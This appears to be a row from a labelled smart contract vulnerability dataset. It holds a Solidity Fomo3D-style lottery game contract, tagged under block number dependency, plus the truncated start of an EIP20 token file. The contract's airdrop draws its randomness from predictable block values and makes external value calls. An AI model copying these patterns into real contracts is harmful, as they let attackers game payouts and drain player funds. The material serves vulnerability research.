""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else if (_now <= round_[_rID].end) return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 100000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now <= round_[_rID].strt + rndGap_) return( ((round_[_rID].end).sub(rndInit_)).sub(_now) ); else if (_now < round_[_rID].end) return( (round_[_rID].end).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false) { uint256 _roundMask; uint256 _roundEth; uint256 _roundKeys; uint256 _roundPot; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) { _roundEth = round_[_rID].ico; _roundKeys = (round_[_rID].ico).keys(); _roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys; _roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000))); } else { _roundEth = round_[_rID].eth; _roundKeys = round_[_rID].keys; _roundMask = round_[_rID].mask; _roundPot = round_[_rID].pot; } uint256 _playerKeys; if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0) _playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys; else _playerKeys = calcPlayerICOPhaseKeys(_pID, _rID); if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys) private view returns(uint256) { return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (round_[_rID].eth != 0) { return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } else { return ( round_[_rID].ico, _rID, (round_[_rID].ico).keys(), round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; if (plyrRnds_[_pID][_rID].ico == 0) { return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, 0 ); } else { return ( _pID, plyr_[_pID].name, calcPlayerICOPhaseKeys(_pID, _rID), plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].ico ); } } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_ = manageRoundAndPlayer(_pID, _eventData_); if (now <= round_[rID_].strt + rndGap_) { _eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000; icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_); } else { _eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000; core(_pID, msg.value, _affID, _team, _eventData_); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_ = manageRoundAndPlayer(_pID, _eventData_); plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); if (now <= round_[rID_].strt + rndGap_) { _eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000; icoPhaseCore(_pID, _eth, _team, _affID, _eventData_); } else { core(_pID, _eth, _affID, _team, _eventData_); } } function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0) { if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico); round_[_rID].ico = _eth.add(round_[_rID].ico); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; round_[_rID].icoGen = _gen.add(round_[_rID].icoGen); uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen); round_[_rID].pot = _pot.add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; endTx(_rID, _pID, _team, _eth, 0, _eventData_); } function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) roundClaimICOKeys(_rID); if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0) { plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID); plyrRnds_[_pID][_rID].ico = 0; } uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_rID, _pID, _team, _eth, _keys, _eventData_); } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { if (plyrRnds_[_pID][_rIDlast].ico == 0) return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0) return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcAverageICOPhaseKeyPrice(uint256 _rID) public view returns(uint256) { return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() ); } function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID) public view returns(uint256) { if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 ) return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg ); else return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].eth).keysRec(_eth) ); else if (_now <= round_[_rID].end) return ( (round_[_rID].ico).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else if (_now <= round_[_rID].end) return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].end) { if (round_[_rID].ended == false) { _eventData_ = endRound(_eventData_); round_[_rID].ended = true; } rID_++; _rID++; round_[_rID].strt = _now; round_[_rID].end = _now.add(rndInit_).add(rndGap_); } if (plyr_[_pID].lrnd != _rID) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = _rID; _eventData_.compressedData = _eventData_.compressedData + 10; } return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) roundClaimICOKeys(_rID); uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(coin_base).call.value(_com)()) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) coin_base.transfer(_p3d); round_[_rID + 1].pot += _res; _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; return(_eventData_); } function roundClaimICOKeys(uint256 _rID) private { round_[_rID].eth = round_[_rID].ico; round_[_rID].keys = (round_[_rID].ico).keys(); round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID); uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)); if (_dust > 0) round_[_rID].pot = (_dust).add(round_[_rID].pot); round_[_rID].mask = _ppt.add(round_[_rID].mask); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _now = now; if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(coin_base).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; round_[_rID + 1].pot += _long; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { coin_base.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == admin, ""only team just can activate"" ); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_ + rndGap_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcFast { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 126.sol," pragma solidity ^0.4.21; contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract TestCoin is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; 